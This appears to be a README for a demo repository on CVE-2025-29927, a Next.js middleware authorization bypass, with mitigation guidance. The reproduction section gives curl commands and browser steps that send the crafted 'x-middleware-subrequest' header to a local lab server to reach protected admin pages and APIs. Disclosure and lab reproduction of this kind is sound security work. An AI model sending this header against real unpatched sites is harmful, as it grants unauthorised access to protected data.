Example: Authorization Bypass in Next.js Middleware (CVE-2025-29927)

This Repo provides example projects demonstrating the Middleware authorization bypass vulnerability in Next.js (CVE-2025-29927). This vulnerability allows unauthorized users to access protected resources.

Vulnerability Overview

CVE-2025-29927 is a critical security vulnerability (CVSS Score: 9.1) affecting Next.js's middleware system. Attackers can completely bypass middleware security checks by adding a specially crafted x-middleware-subrequest header to HTTP requests.

Affected Versions

• Next.js 11.1.4 to 13.5.6
• Next.js 14.x versions below 14.2.25
• Next.js 15.x versions below 15.2.3

Vulnerability Impact

• Authorization Bypass: Attackers can access protected paths (e.g., /admin) without authentication
• API Security Bypass: Can access protected API endpoints (e.g., /api/confidential)
• Security Header Bypass: If CSP, HSTS, and other security headers are set in middleware, they will also be bypassed

Prerequisites

1. Node.js and npm installed
2. cd into the folder, run npm install to install dependencies
3. Run npm run dev to start the Next.js development server
4. Open http://localhost:3000 in your browser to see the current website

Understanding the Vulnerability

Next.js uses an internal header x-middleware-subrequest to prevent infinite loops caused by recursive middleware calls. However, this header can be exploited by external requests. When a request includes this header and reaches the maximum recursion depth (MAX_RECURSION_DEPTH), Next.js completely skips middleware execution.

How to Reproduce the Vulnerability

Step 1: Normal Access to Protected Path (Will Be Blocked)

First, attempt normal access to a protected path:

# Access the protected admin page
curl http://localhost:3000/admin/dashboard -v

Expected Result: Will be redirected to the login page (302 redirect to /login)

# Access the protected API
curl http://localhost:3000/api/confidential -v

Expected Result: Returns a 401 Unauthorized error

Step 2: Bypass Middleware Using the Vulnerability

Now, use the specially crafted header to bypass the middleware:

# Bypass /admin path protection
curl http://localhost:3000/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

Expected Result: Successfully access the admin page content (200 OK)

# Bypass /api/confidential protection
curl http://localhost:3000/api/confidential \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

Expected Result: Successfully access the API and obtain confidential information (200 OK)

Step 3: Testing with a Browser

You can also test using your browser's developer tools:

1. Open browser developer tools (F12)
2. Switch to the Network tab
3. Use the ModHeader extension or a similar tool to add the header:
   • Header Name: x-middleware-subrequest
   • Header Value: middleware:middleware:middleware:middleware:middleware
4. Visit http://localhost:3000/admin/dashboard
5. You should see the admin page content instead of being redirected

Vulnerability Explanation

When middleware receives a request containing the x-middleware-subrequest header:

1. Next.js considers this an internal recursive call
2. When the header value contains enough middleware tokens (5 repetitions), it triggers the MAX_RECURSION_DEPTH limit
3. To avoid infinite loops, Next.js completely skips middleware execution
4. The request reaches the target route directly, bypassing all security checks

Remediation

1. Upgrade Next.js Version

Upgrade to a patched version:

• 12.x: Upgrade to 12.3.5 or later
• 13.x: Upgrade to 13.5.9 or later
• 14.x: Upgrade to 14.2.25 or later
• 15.x: Upgrade to 15.2.3 or later

2. Temporary Mitigation

If an immediate upgrade is not possible, block requests containing the x-middleware-subrequest header at the reverse proxy level (Nginx, Apache, etc.):

Nginx configuration example:

location / {
    if ($http_x_middleware_subrequest) {
        return 403;
    }
    proxy_pass http://localhost:3000;
}

Apache configuration example:

RequestHeader unset x-middleware-subrequest

3. Defense in Depth

In addition to middleware, implement authentication checks in route handlers:

// In API routes, add extra authentication checks
export async function GET(request) {
    // Do not rely solely on middleware; also check authentication here
    if (!isAuthenticated(request)) {
        return new Response('Unauthorized', { status: 401 });
    }
    // ... handle request
}

References

• Next.js Security Advisory (GHSA-f82v-jwr5-mffw)
• CVE-2025-29927 Details
• Next.js Middleware Documentation